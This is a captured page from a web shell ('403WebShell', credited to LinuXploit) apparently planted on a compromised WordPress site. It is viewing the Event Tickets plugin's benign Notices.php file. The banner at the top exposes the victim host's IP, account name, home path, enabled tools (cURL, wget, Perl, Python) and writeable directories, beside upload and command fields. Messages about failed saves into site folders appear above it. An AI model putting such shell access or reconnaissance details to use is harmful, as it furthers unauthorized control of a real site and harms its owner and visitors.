Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.118.28.160
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/Admin/Notices.php
<?php

use TEC\Tickets\Commerce\Utils\Currency;
use Tribe\Tickets\Admin\Settings;

/**
 * Class Tribe__Tickets__Admin__Notices
 *
 * @since 4.7
 */
class Tribe__Tickets__Admin__Notices {

	/**
	 * Hooks the actions and filters used by the class
	 *
	 * @since 4.7
	 * @since 5.18.0 Removed FSE AR Page notice.
	 */
	public function hook() {
		// Bail if some missing component does not exist.
		if (
			! function_exists( 'tribe_installed_before' )
			|| ! class_exists( 'Tribe__Admin__Notices' )
		) {
			return;
		}

		add_action( 'admin_init', [ $this, 'maybe_display_rsvp_new_views_options_notice' ] );
		add_action( 'admin_init', [ $this, 'maybe_display_classic_editor_ecp_recurring_tickets_notice' ] );
		add_action( 'admin_init', [ $this, 'maybe_display_plus_commerce_notice' ] );
		add_action( 'admin_init', [ $this, 'maybe_display_unsupported_currency_notice' ] );
		add_action( 'admin_init', [ $this, 'maybe_display_paystack_notice' ] );
	}

	/**
	 * Display dismissible notice about new RSVP view settings.
	 *
	 * @since 4.12.3
	 */
	public function maybe_display_rsvp_new_views_options_notice() {
		// Bail if previously dismissed this notice.
		if ( Tribe__Admin__Notices::instance()->has_user_dimissed( __FUNCTION__ ) ) {
			return;
		}

		/** @var Tribe__Settings $settings */
		$settings = tribe( 'settings' );

		// Bail if user cannot change settings.
		if ( ! current_user_can( $settings->requiredCap ) ) {
			return;
		}

		// Only show to previously existing installs.
		if ( ! tribe_installed_before( 'Tribe__Tickets__Main', '5.0' ) ) {
			return;
		}

		// Bail if we aren't in Tickets > Settings.
		if ( \Tribe\Tickets\Admin\Settings::$settings_page_id !== tribe_get_request_var( 'page' ) ) {
			return;
		}

		// Bail if already at wp-admin > Tickets > Settings > Tickets tab to avoid redundancy/confusion by linking to itself.
		if ( 'event-tickets' === tribe_get_request_var( 'tab' ) ) {
			return;
		}

		// Bail if the option is already in use.
		if ( tribe_tickets_rsvp_new_views_is_enabled() ) {
			return;
		}

		// Get link to Display Tab.
		$url = $settings->get_url( [
			'page' => 'tribe-common',
			'tab'  => 'display',
		] );

		$link = sprintf(
			'<a href="%1$s">%2$s</a>',
			esc_url( $url ),
			esc_html_x( 'RSVP Display Settings', 'Admin notice link text', 'event-tickets' )
		);

		// Set heading text.
		$heading = __( 'Event Tickets', 'event-tickets' );

		// Build notice text.
		$text = sprintf(
		// translators: %1$s: RSVP singular text, %2$s: Link to settings page.
			__( 'With this new version, we\'ve introduced newly redesigned %1$s frontend views. If you have customized the %1$s section, this update will likely impact your customizations.

			To upgrade to the new frontend views, please enable them in the %2$s.', 'event-tickets' ),
			tribe_get_rsvp_label_singular( 'admin_notices' ),
			$link
		);

		// Build notice message.
		$message = sprintf( '<h3>%1$s</h3>%2$s', $heading, wpautop( $text ) );

		tribe_notice(
			__FUNCTION__,
			$message,
			[
				'dismiss' => true,
				'type'    => 'warning',
			]
		);
	}

	/**
	 * Display dismissible notice about recurring events tickets, per event.
	 *
	 * @since 5.0.4
	 */
	public function maybe_display_classic_editor_ecp_recurring_tickets_notice() {
		$post_id = absint( tribe_get_request_var( 'post' ) );

		if ( empty( $post_id ) ) {
			return;
		}

		// Warning: Changing this would invalidate all past dismissals.
		$slug_prefix = 'tribe_notice_classic_editor_ecp_recurring_tickets';
		$notice_slug = sprintf( '%s-%d', $slug_prefix, $post_id );

		// Bail if this notice was previously dismissed for this TEC event.
		if ( Tribe__Admin__Notices::instance()->has_user_dimissed( $notice_slug ) ) {
			return;
		}

		/** @var Tribe__Tickets__Editor__Template__Overwrite $template_overwrite */
		$template_overwrite = tribe( 'tickets.editor.template.overwrite' );

		if (
			! function_exists( 'tribe_is_recurring_event' )
			|| ! tribe_is_recurring_event( $post_id )
			|| ! tribe_events_has_tickets( $post_id )
			|| ! $template_overwrite->has_classic_editor( $post_id )
		) {
			return;
		}

		$heading = sprintf(
		// Translators: %1$s: dynamic "Tickets" text, %2$s: dynamic "Event" text.
			_x(
				'%1$s for Recurring %2$s',
				'heading for classic editor notice if Events Calendar Pro event has tickets',
				'event-tickets'
			),
			tribe_get_ticket_label_plural( $slug_prefix ),
			tribe_get_event_label_singular()
		);

		$text = sprintf(
		// Translators: %1$s: dynamic "event" text, %2$s: dynamic "ticket" text, %3$s: dynamic "tickets" text, %4$s: dynamic "RSVP" text, %5$s: dynamic "Ticket" text.
			_x(
				'Heads up! You saved a recurring %1$s with a %2$s. Please note that we do not currently support recurring %3$s. Only the first instance of this recurring series will have your %4$s or %5$s displayed.',
				'text for classic editor notice if Events Calendar Pro event has tickets',
				'event-tickets'
			),
			tribe_get_event_label_singular_lowercase(),
			tribe_get_ticket_label_singular_lowercase( $slug_prefix ),
			tribe_get_ticket_label_plural_lowercase( $slug_prefix ),
			tribe_get_rsvp_label_singular( $slug_prefix ),
			tribe_get_ticket_label_singular( $slug_prefix )
		);

		$message = sprintf(
			'<h3>%1$s</h3>%2$s',
			esc_html( $heading ),
			wpautop( esc_html( $text ) )
		);

		tribe_notice(
			$notice_slug,
			$message,
			[
				'dismiss' => true,
				'type'    => 'warning',
			]
		);
	}

	/**
	 * Display a notice for the user about missing support if ET+ supported commerce providers are active
	 * but ET+ is not.
	 *
	 * @since 4.7
	 */
	public function maybe_display_plus_commerce_notice() {
		if ( class_exists( 'Tribe__Tickets_Plus__Main' ) ) {
			return;
		}

		$plus_link = add_query_arg(
			[
				'utm_source'   => 'plugin-install',
				'utm_medium'   => 'plugin-event-tickets',
				'utm_campaign' => 'in-app',
			],
			'https://theeventscalendar.com/product/wordpress-event-tickets-plus/'
		);

		$plus = sprintf(
			'<a target="_blank" rel="noopener nofollow" href="%s">%s</a>',
			esc_attr( $plus_link ),
			esc_html__( 'Event Tickets Plus', 'event-tickets' )
		);

		$plus_commerce_providers = [
			'woocommerce/woocommerce.php'                       => __( 'WooCommerce', 'event-tickets' ),
			'easy-digital-downloads/easy-digital-downloads.php' => __( 'Easy Digital Downloads', 'event-tickets' ),
		];

		foreach ( $plus_commerce_providers as $path => $provider ) {
			if ( ! is_plugin_active( $path ) ) {
				continue;
			}

			$message = sprintf(
			// translators: %1$s: The ticket commerce provider (WooCommerce, etc); %2$s: The Event Tickets Plus plugin name and link.
				esc_html__( 'Event Tickets does not support ticket sales via third party ecommerce plugins. If you want to sell tickets with %1$s, please purchase a license for %2$s.', 'event-tickets' ),
				esc_html( $provider ),
				$plus
			);

			// Wrap in <p> tag.
			$message = sprintf( '<p>%s</p>', $message );

			tribe_notice( "event-tickets-plus-missing-{$provider}-support", $message, 'dismiss=1&type=warning' );
		}
	}

	/**
	 * Display notices for unsupported currencies.
	 *
	 * @since 5.5.7
	 *
	 * @return void
	 */
	public function maybe_display_unsupported_currency_notice() {
		if ( Currency::is_current_currency_supported() ) {
			return;
		}

		$message = sprintf(
			'<h3>%1$s</h3><p>%2$s</p>',
			esc_html( Currency::$unsupported_currency['heading'] ),
			esc_html( Currency::$unsupported_currency['message'] )
		);

		$notice_symbol = Currency::$unsupported_currency['symbol'];

		tribe_notice(
			"event-tickets-unsupported-currencies-{$notice_symbol}",
			$message,
			[
				'dismiss' => true,
				'type'    => 'warning',
			]
		);
	}

	/**
	 * Display notice for Paystack promotion.
	 *
	 * @since 5.6.3
	 *
	 * @return void
	 */
	function maybe_display_paystack_notice() {

		// Bail if we aren't in Tickets > Settings.
		if ( \Tribe\Tickets\Admin\Settings::$settings_page_id !== tribe_get_request_var( 'page' ) ) {
			return;
		}

		// Bail if Paystack plugin is installed and activated.
		if ( class_exists( 'paystack\tec\classes\Core', false ) ) {
			return;
		}

		// Bail if we aren't in the correct timezone.
		$timezone           = get_option( 'timezone_string' );
		$paystack_timezones = [
			'Africa/Lagos',
			'Africa/Accra',
			'Africa/Johannesburg',
		];
		if ( ! in_array( $timezone, $paystack_timezones, true ) ) {
			return;
		}

		$heading = _x(
			'Sell tickets with Paystack',
			'heading for Paystack notice',
			'event-tickets'
		);

		$learn_more_link = sprintf(
			'<a target="_blank" rel="noopener nofollow" href="%s">%s</a>',
			esc_attr( 'https://evnt.is/et-tc-paystack-in-app' ),
			esc_html__( 'Learn more', 'event-tickets' )
		);

		$text = _x(
			sprintf(
			// Translators: %s: dynamic "Learn more" link.
				'Install and activate the Paystack for The Events Calendar plugin to start selling tickets with Paystack using our free commerce solution, Tickets Commerce. %s',
				$learn_more_link
			),
			'text for Paystack notice',
			'event-tickets'
		);

		$message = sprintf(
			'<h3>%1$s</h3><p>%2$s</p>',
			esc_html( $heading ),
			wp_kses( $text, 'post' )
		);

		tribe_notice(
			'event-tickets-commerce-paystack-notice',
			$message,
			[
				'dismiss' => true,
				'type'    => 'warning',
			]
		);

	}

	/**
	 * Will be removed. Doing nothing other than triggering a deprecation notice.
	 *
	 * @since 5.17.0
	 * @deprecated 5.18.0 This method will be removed in a future release.
	 *
	 * @return void
	 */
	public function maybe_display_fse_ar_page_notice() {
		_deprecated_function( __METHOD__, '5.18.0' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit